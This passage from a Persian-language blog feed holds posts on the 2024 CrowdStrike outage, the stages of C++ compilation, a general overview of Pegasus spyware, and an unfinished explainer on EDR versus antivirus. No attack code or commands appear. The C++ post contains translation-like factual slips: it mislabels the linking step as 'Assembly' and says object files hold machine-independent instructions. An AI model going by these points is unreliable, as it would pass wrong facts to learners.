در بخش‌های مختلف ازجمله خطوط هوایی، بانک‌ها، بیمارستان‌ها، بازارهای سهام و خدمات دولتی را مختل کرد. خطوط هوایی و فرودگاه‌هاخطوط هوایی و فرودگاه‌ها ازجمله بخش‌هایی بودند که بیشترین آسیب را دیدند. این حادثه باعث اختلالات قابل‌توجهی در عملیات پرواز شد و بسیاری از پروازها تأخیر یا لغو شدند. سیستم‌های فرودگاهی، ازجمله سیستم‌های حمل‌ونقل بار و چک ‌این، غیرقابل استفاده شدند و باعث هرج‌ومرج و سردرگمی برای مسافران شدند. مؤسسات مالیبانک‌ها و مؤسسات مالی نیز با اختلالات شدید مواجه شدند. بسیاری از دستگاه‌های خودپرداز و خدمات بانکی آنلاین در دسترس نبودند و باعث ناراحتی مشتریان و احتمالاً خسارات مالی شدند. بازارهای سهام با تأخیرها و وقفه‌هایی در معاملات مواجه شدند که تأثیر مالی را بیشتر کرد. بخش بهداشت و درمانبیمارستان‌ها و ارائه‌دهندگان خدمات بهداشتی نیز از این حادثه مصون نماندند. سیستم‌های حیاتی مورداستفاده برای مراقبت از بیماران، پرونده‌های پزشکی و تجهیزات تشخیصی تحت تأثیر قرار گرفتند و خطراتی برای ایمنی و ارائه خدمات به بیماران ایجاد کردند. خدمات دولتیخدمات دولتی، ازجمله خدمات اضطراری و وب‌سایت‌های عمومی، با قطعی‌ها و اختلالات مواجه شدند. این امر توانایی دولت‌ها را در ارائه خدمات ضروری و ارتباط با عموم مردم در طول بحران مختل کرد. پاسخ و بازیابیپاسخ CrowdStrike به این حادثه سریع بود. در عرض چند ساعت پس از شناسایی مشکل، شرکت یک اصلاحیه برای رفع به‌روزرسانی معیوب منتشر کرد. با این حال، فرآیند بازیابی ساده نبود. بسیاری از سیستم‌های تحت تأثیر نیاز به مداخله دستی برای بازیابی عملکرد داشتند که منجر به قطعی‌های طولانی‌تر برای برخی از خدمات شد.مدیرعامل CrowdStrike، جورج کورتز، عذرخواهی عمومی کرد و به مشتریان اطمینان داد که شرکت به‌طور خستگی‌ناپذیر برای حل مشکل و جلوگیری از وقوع مجدد آن تلاش می‌کند. شرکت همچنین با مایکروسافت و سایر شرکای صنعتی همکاری کرد تا پشتیبانی فنی و راهنمایی به مشتریان تحت تأثیر ارائه دهد. چرا این اتفاق افتاد؟این حادثه نتیجه یک حمله سایبری نبود، بلکه یک نقص نرم‌افزاری بود. علت اصلی یک خطای پیکربندی در به‌روزرسانی Falcon Sensor بود. این خطا در مرحله آزمایش شناسایی نشد و نشان‌دهنده شکاف‌هایی در فرآیند تضمین کیفیت بود.چندین عامل به وقوع این حادثه کمک کردند: پیچیدگی نرم‌افزار: Falcon Sensor در سطح کرنل عمل می‌کند و بسیار پیچیده و حساس به تغییرات است. هرگونه خطا در پیکربندی می‌تواند عواقب گسترده‌ای داشته باشد.آزمایش ناکافی: به‌روزرسانی به‌طور کامل در همه محیط‌ها و سناریوهای ممکن آزمایش نشده بود. این نادیده‌گیری باعث شد که نقص تا زمان استقرار در سیستم‌های تولیدی شناسایی نشود.استقرار سریع: به‌روزرسانی به‌سرعت در تعداد زیادی از سیستم‌ها مستقر شد و تأثیر نقص را تقویت کرد. یک استقرار تدریجی‌تر می‌توانست دامنه حادثه را محدود کند. راه‌حل‌های پیشنهادی برای جلوگیری از وقوع مجدد حوادث مشابهبرای جلوگیری از وقوع مجدد حوادث مشابه، چندین اقدام می‌توان انجام داد:بهبود روش‌های آزمایش: اجرای روش‌های آزمایش جامع که طیف گسترده‌ای از محیط‌ها و سناریوها را پوشش دهد. این شامل آزمایش فشار، آزمایش رگرسیون و آزمایش در شرایط واقعی برای شناسایی مشکلات احتمالی قبل از استقرار است.استقرار تدریجی به‌روزرسانی‌ها: اتخاذ رویکرد مرحله‌ای برای استقرار به‌روزرسانی‌ها. با یک زیرمجموعه کوچک از سیستم‌ها شروع کنید و به‌تدریج استقرار را بر اساس بازخورد و نظارت گسترش دهید. این می‌تواند به شناسایی و رفع مشکلات قبل از تأثیرگذاری بر تعداد زیادی از سیستم‌ها کمک کند.مکانیسم‌های بازگشت خودکار: توسعه مکانیسم‌های خودکار برای بازگشت سریع به‌روزرسانی‌ها در صورت بروز مشکلات. این می‌تواند زمان خرابی را به حداقل برساند و تأثیر به‌روزرسانی‌های معیوب را کاهش دهد.نظارت و هشدار پیشرفته: اجرای سیستم‌های نظارت و هشدار پیشرفته برای شناسایی ناهنجاری‌ها و مشکلات در زمان واقعی. این امکان پاسخ سریع و کاهش مشکلات قبل از تشدید را فراهم می‌کند.ممیزی‌ها و بررسی‌های منظم: انجام ممیزی‌ها و بررسی‌های منظم از فرآیندهای توسعه و استقرار نرم‌افزار. این به شناسایی و رفع نقاط ضعف احتمالی کمک می‌کند و اطمینان از رعایت بهترین شیوه‌ها را فراهم می‌کند.همکاری با شرکای صنعتی: تقویت همکاری با شرکای صنعتی، ازجمله ارائه‌دهندگان خدمات ابری و سایر فروشندگان نرم‌افزار، برای به اشتراک‌گذاری اطلاعات و بهترین شیوه‌ها. این می‌تواند امنیت و قابلیت اطمینان کلی اکوسیستم نرم‌افزار را افزایش دهد. آموزش کاربر: آموزش و آموزش کاربران در مورد نحوه واکنش به حوادث و بازیابی سیستم‌ها. این شامل ارائه دستورالعمل‌ها و منابع واضح برای عیب‌یابی و بازیابی است.نتیجهحادثه CrowdStrike در 19 ژوئیه 2024، یادآور خطرات و چالش‌های احتمالی مرتبط با به‌روزرسانی نرم‌افزار و امنیت سایبری است. درحالی‌که این حادثه باعث اختلالات و خسارات مالی قابل‌توجهی شد، اهمیت تست، نظارت و مکانیسم‌های واکنش قوی را نیز برجسته کرد.با اجرای راهکارهای پیشنهادی و درس گرفتن از این حادثه، سازمان‌ها می‌توانند تاب‌آوری خود را افزایش داده و احتمال وقوع حوادث مشابه را در آینده کاهش دهند. نکته کلیدی اتخاذ یک رویکرد پیشگیرانه و مشارکتی برای امنیت سایبری است که اطمینان حاصل شود که سیستم‌ها ایمن، قابل‌اعتماد و قادر به مقاومت در برابر پیچیدگی‌های چشم‌انداز دیجیتال مدرن هستند.</description>
                <category>Loop Lunatic</category>
                <author>Loop Lunatic</author>
                <pubDate>Mon, 22 Jul 2024 08:14:12 +0330</pubDate>
            </item>
                    <item>
                <title>آشنایی با فرآیند کامپایل یک برنامه سی پلاس پلاس</title>
                <link>https://virgool.io/@LoopLunatic/%D8%A2%D8%B4%D9%86%D8%A7%DB%8C%DB%8C-%D8%A8%D8%A7-%D9%81%D8%B1%D8%A2%DB%8C%D9%86%D8%AF-%DA%A9%D8%A7%D9%85%D9%BE%D8%A7%DB%8C%D9%84-%DB%8C%DA%A9-%D8%A8%D8%B1%D9%86%D8%A7%D9%85%D9%87-%D8%B3%DB%8C-%D9%BE%D9%84%D8%A7%D8%B3-%D9%BE%D9%84%D8%A7%D8%B3-xk1uwu8bsllt</link>
                <description>کامپایل یک برنامه ++C یک فرآیند اساسی است که کد منبع قابل‌خواندن توسط انسان را به کد ماشین اجرایی که می‌تواند توسط یک کامپیوتر اجرا شود تبدیل می‌کند. فرآیند کامپایل شامل چندین مرحله است که هرکدام هدف خاصی را در ترجمه کدهای سطح بالا به دستورالعمل‌های باینری انجام می‌دهند. در این مقاله، مراحل کامپایل یک برنامه C++، آنچه در طول هر مرحله اتفاق می‌افتد و اهمیت هر مرحله در چرخه عمر توسعه را بررسی می‌کنیم.1.	پیش‌پردازش (Preprocessing):اولین مرحله در کامپایل یک برنامه ++C، پیش‌پردازش است. در طول پیش‌پردازش، پیش پردازنده کامپایلر (اغلب توسط &#x27;cpp&#x27; فراخوانی می‌شود) دستورالعمل‌هایی مانند &#x27;#include&#x27;، &#x27;#define&#x27; و &#x27;#ifdef&#x27; را کنترل می‌کند. پیش پردازنده دستورالعمل‌های «#include» را با محتویات فایل‌های هدر جایگزین می‌کند، ماکروهای تعریف‌شده با «#define» را حل می‌کند و دستورالعمل‌های کامپایل شرطی مانند «#ifdef» و «#ifndef» را پردازش می‌کند. خروجی این مرحله یک واحد ترجمه (یک فایل منبع تک پس از پیش‌پردازش) بدون هیچ دستورالعمل پیش پردازنده است.2.	تلفیق (Compilation):پس از پیش‌پردازش، مرحله کامپایل آغاز می‌شود. در این مرحله، کد منبع پیش‌پردازش شده (واحد ترجمه) به کد اسمبلی مخصوص معماری هدف تبدیل می‌شود. کامپایلر نحو و معنای کد را تجزیه‌وتحلیل می‌کند، بهینه‌سازی‌ها را انجام می‌دهد (در صورت فعال بودن) و دستورالعمل‌های اسمبلی میانی را تولید می‌کند. خروجی این فاز اغلب به‌عنوان یک فایل شی‌ء (&#x60;.o&#x60; یا .obj&#x60;) نامیده می‌شود که حاوی دستورالعمل‌های مستقل از ماشین است.3.	مونتاژ (Assembly):مرحله بعدی اسمبلی است که در آن کد اسمبلی تولیدشده توسط کامپایلر به کد ماشین مخصوص معماری CPU هدف ترجمه می‌شود. اسمبلر (به‌عنوان‌مثال، «مانند» در سیستم‌های یونیکس مانند) کد اسمبلی را می‌خواند و یک فایل شی‌ء حاوی دستورالعمل‌های کد ماشین (در قالب باینری) همراه با ابر داده (مانند نمادها و اطلاعات جابجایی) تولید می‌کند.4.	ربط دادن (Assembly):آخرین مرحله در فرآیند کامپایل پیوند دادن است. در طول پیوند، پیونددهنده (به‌عنوان‌مثال، &#x60;ld&#x60; در سیستم‌های شبه یونیکس) چندین فایل شی‌ء (ازجمله کتابخانه‌ها) را ترکیب می‌کند و مراجع را بین آن‌ها حل می‌کند. این شامل پیوند دادن فراخوانی‌های تابع به تعاریف آن‌ها، حل نمادها (مانند متغیرها و توابع جهانی) و انجام جابجایی آدرس است. پیونددهنده یک فایل اجرایی واحد (یک کتابخانه مشترک) تولید می‌کند که می‌تواند توسط سیستم‌عامل اجرا شود. درک دقیق مراحل تدوین:تحلیل واژگانی (Lexical Analysis): کامپایلر در طول تجزیه‌وتحلیل واژگانی، کد منبع را به نشانه‌ها (کلمات کلیدی، شناسه‌ها، لفظ‌ها و غیره) تجزیه می‌کند.تحلیل نحو (تجزیه)(Syntax Analysis (Parsing)): کامپایلر جریان نشانه را بر اساس قوانین گرامری زبان برنامه‌نویسی تجزیه می‌کند تا یک درخت نحو انتزاعی (AST) بسازد.تحلیل معنایی (Semantic Analysis): کامپایلر صحت معنایی مانند سازگاری نوع، شناسه‌های اعلام‌نشده و خطاهای نحوی را بررسی می‌کند.بهینه‌سازی (Optimization): گذرگاه‌های بهینه‌سازی اختیاری برای بهبود کارایی کد تولیدشده انجام می‌شود (به‌عنوان‌مثال کوچک کردن ثابت، حذف کد مرده، بهینه‌سازی حلقه).تولید کد (Code Generation): کامپایلر AST بهینه‌شده را به نمایش متوسط سطح پایین (IR) یا مستقیماً به کد اسمبلی/ماشین ترجمه می‌کند.در هر مرحله تألیف چه اتفاقی می‌افتد:پیش‌پردازش (Preprocessing): دستورالعمل‌هایی مانند &quot;#include&quot; گسترش می‌یابند، ماکروها جایگزین می‌شوند و کامپایل شرطی پردازش می‌شود.کامپایل (Compilation): کد منبع به دستورالعمل‌های اسمبلی ترجمه می‌شود و بهینه‌سازی‌ها اعمال می‌شود.اسمبلی (Assembly): کد اسمبلی به کد ماشین (کد شی‌ء) خاص معماری هدف ترجمه می‌شود.پیوند (Linking): فایل‌های شی‌ء باهم ترکیب می‌شوند، مراجع حل می‌شوند و یک فایل اجرایی یا کتابخانه نهایی تولید می‌شود.اهمیت هر مرحله تألیف:پیش‌پردازش (Preprocessing): مدیریت کد را با مدولارسازی و کامپایل شرطی ساده می‌کند.کامپایل (Compilation): کدهای سطح بالا را به کد مونتاژ/ماشین سطح پایین مناسب برای معماری هدف ترجمه می‌کند.اسمبلی (Assembly): کد اسمبلی را به کد ماشینی تبدیل می‌کند که توسط CPU قابل‌درک است.پیوند (Linking): فایل‌های شی‌ء و کتابخانه‌ها را ترکیب می‌کند، وابستگی‌ها را حل می‌کند و یک فایل اجرایی یا کتابخانه مستقل تولید می‌کند.نتیجه:درنتیجه، فرآیند کامپایل یک برنامه C++ شامل چندین مرحله مجزا است که هرکدام نقش مهمی در ترجمه کد منبع به کد ماشین اجرایی دارند. از پیش‌پردازش و کامپایل گرفته تا مونتاژ و پیوند، هر مرحله به تبدیل انتزاعات سطح بالا به دستورالعمل‌های باینری که می‌تواند توسط رایانه اجرا شود کمک می‌کند. درک این مراحل کامپایل و اهمیت آن‌ها برای توسعه‌دهندگان برای نوشتن برنامه‌های C++ کارآمد، قابل‌حمل و قابل نگهداری ضروری است. با به دست آوردن بینش در مورد فرآیند کامپایل، توسعه‌دهندگان می‌توانند کد را بهینه کنند، خطاها را تشخیص دهند و از ویژگی‌های کامپایلر برای افزایش کیفیت و عملکرد نرم‌افزار استفاده کنند.</description>
                <category>Loop Lunatic</category>
                <author>Loop Lunatic</author>
                <pubDate>Sat, 13 Jul 2024 08:49:22 +0330</pubDate>
            </item>
                    <item>
                <title>رونمایی از نرم‌افزار جاسوسی Pegasus: بررسی یک سلاح سایبری بدنام</title>
                <link>https://virgool.io/@LoopLunatic/%D8%B1%D9%88%D9%86%D9%85%D8%A7%DB%8C%DB%8C-%D8%A7%D8%B2-%D9%86%D8%B1%D9%85-%D8%A7%D9%81%D8%B2%D8%A7%D8%B1-%D8%AC%D8%A7%D8%B3%D9%88%D8%B3%DB%8C-pegasus-%D8%A8%D8%B1%D8%B1%D8%B3%DB%8C-%DB%8C%DA%A9-%D8%B3%D9%84%D8%A7%D8%AD-%D8%B3%D8%A7%DB%8C%D8%A8%D8%B1%DB%8C-%D8%A8%D8%AF%D9%86%D8%A7%D9%85-ztif8vhjd9f8</link>
                <description>در حوزه امنیت سایبری، ابزارهای کمی به‌اندازه جاسوس‌افزار Pegasus موردتوجه و بحث‌وجدل قرارگرفته‌اند. Pegasus که توسط شرکت فناوری اسرائیلی NSO Group توسعه داده‌شده است، یک ابزار نظارتی پیچیده است که در مرکز رسوایی‌ها، ادعاها و تحقیقات متعدد قرارگرفته است. در این مقاله، ما به پیچیدگی‌های جاسوس‌افزار Pegasus می‌پردازیم و اطلاعات موجود در مورد قابلیت‌های آن، تکنیک‌هایی که به کار می‌برد و عوارضی که برای افراد، سازمان‌ها و دولت‌ها در سرتاسر جهان ارائه می‌کند را بررسی می‌کنیم.آشنایی با نرم‌افزارهای جاسوسی پگاسوسپگاسوس (Pegasus) یک شکل قدرتمند و بسیار تهاجمی از نرم‌افزارهای جاسوسی است که برای نفوذ به دستگاه‌های تلفن همراه، ازجمله گوشی‌های هوشمند و تبلت¬ها، دارای سیستم‌عامل‌های iOS و Android طراحی‌شده است. عملکرد اصلی آن نظارت و جمع‌آوری مخفیانه طیف گسترده‌ای از داده‌ها از دستگاه آلوده است، ازجمله پیام‌های متنی، ایمیل‌ها، گزارش تماس‌ها، مخاطبین، عکس‌ها، فیلم‌ها، داده‌های موقعیت مکانی GPS و حتی ضبط‌های میکروفون و دوربین.پیچیدگی Pegasus در توانایی آن برای سوءاستفاده از آسیب‌پذیری‌های موجود در سیستم‌عامل‌ها و برنامه‌های کاربردی تلفن همراه محبوب برای دسترسی غیرمجاز به دستگاه‌ها نهفته است. پگاسوس با استفاده از اکسپلویت‌های روز صفر و سایر تکنیک‌های پیشرفته، می‌تواند اقدامات امنیتی را دور زده و بدون اطلاع یا رضایت کاربر، خود را روی دستگاه‌های هدف نصب کند. پس از نصب، در پس‌زمینه بی‌صدا عمل می‌کند، ارتباطات را ره‌گیری می‌کند، داده‌ها را جمع‌آوری می‌کند و آن‌ها را به سرورهای راه دور که توسط اپراتورهایش کنترل می‌شوند، منتقل می‌کند.تکنیک‌های مورداستفاده پگاسوسپگاسوس از تکنیک‌های مختلفی برای به خطر انداختن و نظارت بر دستگاه‌های هدف استفاده می‌کند، ازجمله:اکسپلویت روز صفر پگاسوس (Zero-Day Exploits): Pegasus اغلب به آسیب‌پذیری‌های روز صفر که نقص‌های نرم‌افزاری قبلاً ناشناخته بودند، برای دستیابی به دسترسی اولیه به دستگاه‌های هدف متکی است. پگاسوس با استفاده از این آسیب‌پذیری‌ها می‌تواند مکانیسم‌های امنیتی را دور بزند و بدون شناسایی خود را روی دستگاه‌ها نصب کند.مهندسی اجتماعی: در برخی موارد، اپراتورهای Pegasus ممکن است از تکنیک‌های مهندسی اجتماعی، مانند ایمیل‌های فیشینگ یا لینک‌های مخرب، برای فریب دادن اهداف برای نصب ناخواسته نرم‌افزارهای جاسوسی استفاده کنند. این تاکتیک‌ها بر روانشناسی و دست‌کاری انسان تکیه می‌کنند تا کاربران را متقاعد به انجام اقداماتی کنند که امنیت آن‌ها را به خطر می‌اندازد.نصب از راه دور: Pegasus برای نصب از راه دور و بدون هیچ‌گونه دسترسی فیزیکی به دستگاه موردنظر طراحی‌شده است. هنگامی‌که نرم‌افزار جاسوسی مستقر می‌شود، می‌تواند به‌طور محتاطانه در پس‌زمینه کار کند و تشخیص وجود آن یا حذف آن از دستگاه‌های خود را برای کاربران دشوار می‌کند.عملیات مخفیانه(Stealthy Operation): Pegasus طوری طراحی‌شده است که به‌صورت مخفیانه عمل کند و حضور خود را هم از کاربران و هم از نرم‌افزارهای امنیتی پنهان کند. این می‌تواند از شناسایی توسط برنامه‌های آنتی‌ویروس و سایر ابزارهای امنیتی فرار کند و شناسایی و کاهش تهدید را برای کاربران چالش‌برانگیز کند.نظارت مداوم: پگاسوس قادر به نظارت مداوم بر دستگاه‌های موردنظر، نظارت مستمر ارتباطات و فعالیت‌ها در یک دوره طولانی است. این به اپراتورهای آن اجازه می‌دهد تا اطلاعات ارزشمندی را جمع‌آوری کرده و بر اهداف باارزش بالا نظارت داشته باشند.عوارض و اختلافاتباوجود قابلیت‌های پیشرفته، جاسوس‌افزار پگاسوس موضوع بحث‌وجدل‌های قابل‌توجه و چالش‌های قانونی بوده است. برخی از عوارض و بحث‌های کلیدی پیرامون پگاسوس عبارت‌اند از:نگرانی‌های مربوط به آزادی مدنی: استفاده از جاسوس‌افزار Pegasus نگرانی‌های جدی در مورد آزادی‌های مدنی، حقوق حریم خصوصی و نظارت دولت ایجاد می‌کند. هدف قرار دادن بی‌رویه روزنامه‌نگاران، فعالان، سیاستمداران و دیگر افراد، خشم را برانگیخته و خواستار شفافیت و پاسخگویی بیشتر در استفاده از فناوری‌های نظارتی شده است.سوءاستفاده از قدرت: ادعاهای متعددی مبنی بر سوءاستفاده از پگاسوس توسط دولت‌ها و رژیم‌های مستبد برای هدف قرار دادن مخالفان، سرکوب مخالفان سیاسی و سرکوب آزادی بیان وجود دارد. اسلحه‌سازی فناوری نظارت برای اهداف سیاسی اصول دموکراتیک را تضعیف می‌کند و تهدیدی برای حقوق و آزادی‌های بشر است.پیامدهای حقوقی و اخلاقی: استفاده از جاسوس‌افزار Pegasus سؤالات حقوقی و اخلاقی پیچیده‌ای را در مورد قانونی بودن، مسائل قضایی و پاسخگویی آن ایجاد می‌کند. ماهیت مخفیانه استقرار آن و عدم شفافیت در مورداستفاده از آن، بحث‌هایی را در موردنیاز به مقررات قوی‌تر، مکانیسم‌های نظارتی و همکاری بین‌المللی برای رسیدگی به گسترش سلاح‌های سایبری دامن زده است.خطرات امنیتی: درحالی‌که Pegasus به‌عنوان ابزاری برای مجریان قانون و آژانس‌های اطلاعاتی به بازار عرضه می‌شود، در دسترس بودن گسترده و پتانسیل سوءاستفاده از آن خطرات امنیتی قابل‌توجهی را برای افراد، مشاغل و دولت‌ها ایجاد می‌کند. دسترسی غیرمجاز به داده‌های حساس، ازجمله اطلاعات شخصی و شرکتی، نگرانی‌هایی را در مورد نقض داده‌ها، سرقت هویت و کلاه‌برداری مالی ایجاد می‌کند.دیپلماسی بین‌المللی: استفاده از نرم‌افزارهای جاسوسی پگاسوس روابط دیپلماتیک بین کشورها را تیره کرده و منجر به اتهام جاسوسی سایبری تحت حمایت دولت شده است. اتهامات دولت‌های خارجی در مورد هدف قرار دادن رهبران سیاسی، دیپلمات‌ها و افراد بلندپایه موجب تنش‌های دیپلماتیک و درخواست‌ها برای مداخلات دیپلماتیک و تحریم علیه کشورهای متخلف شده است.نتیجهدرنتیجه، جاسوس‌افزار Pegasus ابزاری قدرتمند و بحث‌برانگیز در زرادخانه فناوری‌های نظارتی مدرن است. قابلیت‌های پیشرفته، عملیات مخفیانه و استفاده گسترده آن نگرانی‌های قابل‌توجهی را در مورد آزادی‌های مدنی، حقوق حریم خصوصی و اقدامات نظارتی دولت ایجاد کرده است. همان‌طور که بحث در مورداستفاده و تنظیم فناوری‌های نظارتی ادامه دارد، برای دولت‌ها، شرکت‌های فناوری و سازمان‌های جامعه مدنی ضروری است که به پیامدهای اخلاقی، قانونی و امنیتی Pegasus و سلاح‌های سایبری مشابه بپردازند. تنها از طریق شفافیت بیشتر، مسئولیت‌پذیری و همکاری بین‌المللی می‌توان امیدوار بود که خطرات ناشی از این ابزارهای نظارتی قدرتمند را کاهش دهیم و از حقوق و آزادی‌های افراد در سراسر جهان محافظت کنیم.</description>
                <category>Loop Lunatic</category>
                <author>Loop Lunatic</author>
                <pubDate>Sun, 16 Jun 2024 10:26:02 +0330</pubDate>
            </item>
                    <item>
                <title>بررسی تشخیص و پاسخ نقطه پایانی (EDR): عملکرد، مکانیسم‌ها و تمایزات از راه‌حل‌های آنتی‌ویروس</title>
                <link>https://virgool.io/@LoopLunatic/%D8%A8%D8%B1%D8%B1%D8%B3%DB%8C-%D8%AA%D8%B4%D8%AE%DB%8C%D8%B5-%D9%88-%D9%BE%D8%A7%D8%B3%D8%AE-%D9%86%D9%82%D8%B7%D9%87-%D9%BE%D8%A7%DB%8C%D8%A7%D9%86%DB%8C-edr-%D8%B9%D9%85%D9%84%DA%A9%D8%B1%D8%AF-%D9%85%DA%A9%D8%A7%D9%86%DB%8C%D8%B3%D9%85-%D9%87%D8%A7-%D9%88-%D8%AA%D9%85%D8%A7%DB%8C%D8%B2%D8%A7%D8%AA-%D8%A7%D8%B2-%D8%B1%D8%A7%D9%87-%D8%AD%D9%84-%D9%87%D8%A7%DB%8C-%D8%A2%D9%86%D8%AA%DB%8C-%D9%88%DB%8C%D8%B1%D9%88%D8%B3-lfuqzrqeqcnh</link>
                <description>در دنیای دیجیتالی که در آن تهدیدات سایبری به تکامل و رشد پیچیده خود ادامه می‌دهند، نیاز به اقدامات امنیتی سایبری قوی هرگز به این اندازه حیاتی نبوده است. نرم‌افزار آنتی‌ویروس سنتی، اگرچه در شناسایی بدافزارهای شناخته‌شده مؤثر است، اما اغلب در دفاع در برابر تهدیدات پیشرفته کافی نیست. در پاسخ به این چشم‌انداز دائماً در حال تغییر تهدید، راه‌حل‌های تشخیص و پاسخ نقطه پایانی (EDR) به‌عنوان ابزاری قدرتمند برای ارتقای وضعیت امنیتی یک سازمان ظاهرشده‌اند. این مقاله به دنیای EDR می‌پردازد و تعریف، عملکرد، مکانیسم‌های عملیاتی و تمایزات آن از نرم‌افزار آنتی‌ویروس سنتی را توضیح می‌دهد.درک EDRراهکار EDR چیست؟تشخیص و پاسخ نقطه پایانی (EDR) دسته‌ای از راه‌حل‌های امنیت سایبری است که بر شناسایی و کاهش تهدیدات در سطح نقطه پایانی تمرکز دارد. اصطلاح «نقطه پایانی» به دستگاه‌های فردی مانند رایانه‌ها، لپ‌تاپ‌ها، تلفن‌های هوشمند و سرورهایی اشاره دارد که به یک شبکه متصل هستند. راه‌حل‌های EDR برای نظارت و محافظت از این نقاط پایانی در برابر طیف گسترده‌ای از تهدیدات امنیتی، ازجمله بدافزار، باج افزار، تهدیدات پایدار پیشرفته (APT) و حملات روز صفر طراحی‌شده‌اند.تکامل EDRراه‌حل‌های EDR در پاسخ به محدودیت‌های نرم‌افزار آنتی‌ویروس سنتی تکامل‌یافته‌اند. برنامه‌های آنتی‌ویروس در درجه اول بر تشخیص مبتنی بر امضا متکی هستند که شامل مقایسه فایل‌ها و فرآیندها با پایگاه داده امضاهای بدافزار شناخته‌شده است. درحالی‌که در برابر تهدیدات شناخته‌شده مؤثر است، این رویکرد در برخورد با حملات قبلی یا روز صفر نادیده گرفته نمی‌شود. راه‌حل‌های EDR برای رفع این شکاف با ارائه قابلیت‌های پیشرفته تشخیص تهدید و پاسخ توسعه داده شدند.راهکار  EDR چگونه کار می‌کندنظارت در لحظهیکی از ویژگی‌های اساسی راه‌حل‌های EDR نظارت بر زمان واقعی است. عوامل EDR بر روی نقاط پایانی نصب می‌شوند و به‌طور مداوم داده‌های مربوط به فعالیت‌های سیستم را جمع‌آوری و تجزیه‌وتحلیل می‌کنند. این داده‌ها شامل تغییرات سیستم فایل، تغییرات رجیستری، ترافیک شبکه، اجرای فرآیند و موارد دیگر است. با نظارت بر این فعالیت‌ها در زمان واقعی، راه‌حل‌های EDR می‌توانند رفتار مشکوک یا مخرب را در صورت وقوع شناسایی کنند.تجزیه‌وتحلیل رفتاریبرخلاف نرم‌افزار آنتی‌ویروس سنتی که بر امضای ثابت تکیه می‌کند، EDR از تحلیل رفتاری استفاده می‌کند. راه‌حل‌های EDR به‌جای جستجوی الگوهای بدافزار شناخته‌شده، یک خط پایه از رفتار عادی برای هر نقطه پایانی ایجاد می‌کنند. هرگونه انحراف از این خط پایه به‌عنوان تهدید بالقوه پرچم گذاری می‌شود. تجزیه‌وتحلیل رفتار به EDR اجازه می‌دهد تا حملات روز صفر و تهدیدات ناشناخته قبلی را به‌طور مؤثر شناسایی و پاسخ دهد.شکار تهدیدراه‌حل‌های EDR علاوه بر تشخیص خودکار تهدید، تیم‌های امنیتی را با قابلیت‌های شکار تهدید پیشرفته توانمند می‌سازد. تحلیلگران امنیتی می‌توانند از ابزارهای EDR برای جستجوی فعالانه نشانه‌های مصالحه یا فعالیت‌های مشکوک در نقاط پایانی استفاده کنند. این رویکرد پیشگیرانه به شناسایی تهدیدهای پنهانی که ممکن است توسط نرم‌افزار آنتی‌ویروس سنتی موردتوجه قرار نگیرد، کمک می‌کند.واکنش به حادثهراه‌حل‌های EDR قابلیت‌های واکنش قوی به حادثه را ارائه می‌کنند. هنگامی‌که یک تهدید شناسایی می‌شود، EDR می‌تواند نقطه پایانی در معرض خطر را ایزوله کند، داده‌های پزشکی قانونی را جمع‌آوری کند و اقدامات اصلاحی را آغاز کند. این اقدامات ممکن است شامل قرنطینه کردن فایل‌های مخرب، پایان دادن به فرآیندهای مخرب، یا بازگرداندن تغییرات سیستم به وضعیت خوب شناخته‌شده باشد. EDR به سازمان‌ها کمک می‌کند تا به حوادث امنیتی سریع و مؤثر واکنش نشان دهند و تأثیر نقض‌ها را به حداقل برسانند.تفاوت‌های کلیدی بین نرم‌افزار EDR و آنتی‌ویروسروش تشخیصتفاوت اصلی بین EDR و نرم‌افزار آنتی‌ویروس درروش شناسایی آن‌ها نهفته است. آنتی‌ویروس بر تشخیص مبتنی بر امضا متکی است که در برابر تهدیدات شناخته‌شده مؤثر است اما با انواع بدافزارهای جدید یا ناشناخته مبارزه می‌کند. از سوی دیگر، EDR از تجزیه‌وتحلیل رفتاری برای شناسایی فعالیت‌های مشکوک و انحراف از رفتار عادی استفاده می‌کند. این رویکرد EDR را در تشخیص حملات روز صفر و تهدیدات پیشرفته بسیار ماهرتر می‌کند.دامنه حفاظتنرم‌افزار آنتی‌ویروس به‌طور سنتی بر روی اسکن فایل‌ها و دایرکتوری‌ها برای بدافزار تمرکز می‌کند. درحالی‌که این‌یک جزء حیاتی امنیت سایبری است، اغلب از سایر بردارهای حمله و زمینه گسترده‌تر تهدیدات غفلت می‌کند. راه‌حل‌های EDR، بااین‌حال، با نظارت و تجزیه‌وتحلیل تمام فعالیت‌های نقطه پایانی، ازجمله اجرای فرآیند، ترافیک شبکه و تغییرات سیستم، حفاظت جامع را ارائه می‌دهند. این دامنه وسیع‌تر EDR را قادر می‌سازد تا طیف وسیع‌تری از تهدیدات، مانند بدافزارهای بدون فایل و حرکت جانبی مهاجمان در یک شبکه را شناسایی کرده و به آن‌ها پاسخ دهد.اطلاعات تهدید و پاسخراه‌حل‌های آنتی‌ویروس عموماً واکنشی هستند و برای شناسایی و کاهش تهدیدات شناخته‌شده در به‌روزرسانی پایگاه داده امضای خود متکی هستند. از سوی دیگر، EDR بر شکار پیشگیرانه تهدید و پاسخ به حادثه تأکید دارد. راه‌حل‌های EDR تیم‌های امنیتی را با قابلیت مشاهده بی‌درنگ در فعالیت‌های نقطه پایانی تجهیز می‌کنند و به آن‌ها اجازه می‌دهد به‌طور فعال تهدیدها را جستجو کرده و به‌سرعت پاسخ دهند. این قابلیت در عصری که تهدیدات سایبری به‌طور مداوم در حال تغییر هستند ضروری است.سفارشی‌سازی و انعطاف‌پذیریراه‌حل‌های EDR اغلب سفارشی‌سازی و انعطاف‌پذیری بیشتری را در مقایسه با نرم‌افزار آنتی‌ویروس سنتی ارائه می‌دهند. سازمان‌ها می‌توانند خط‌مشی‌ها و قوانین EDR را تنظیم کنند تا با الزامات امنیتی خاص و استانداردهای انطباق هماهنگ شوند. این انعطاف‌پذیری تضمین می‌کند که EDR می‌تواند با نیازها و خطرات منحصربه‌فرد هر سازمان سازگار شود.استفاده از منابعنرم‌افزار آنتی‌ویروس معمولاً دارای منبع سبک‌تری است زیرا روی اسکن فایل و تطبیق امضا تمرکز می‌کند. راه‌حل‌های EDR، به دلیل نظارت و تجزیه‌وتحلیل جامع خود، ممکن است منابع سیستم بیشتری را مصرف کنند. درحالی‌که این‌یک ملاحظه است، راه‌حل‌های مدرن EDR برای به حداقل رساندن تأثیر منابع طراحی‌شده‌اند و تضمین می‌کنند که عملکرد نقطه پایانی را به میزان قابل‌توجهی کاهش نمی‌دهند.راه‌حل‌  EDR در عملموارد استفادهراه‌حل‌های EDR در موارد مختلف استفاده از امنیت سایبری بسیار ارزشمند هستند، ازجمله:پاسخ به حادثه: EDR با ارائه قابلیت‌های 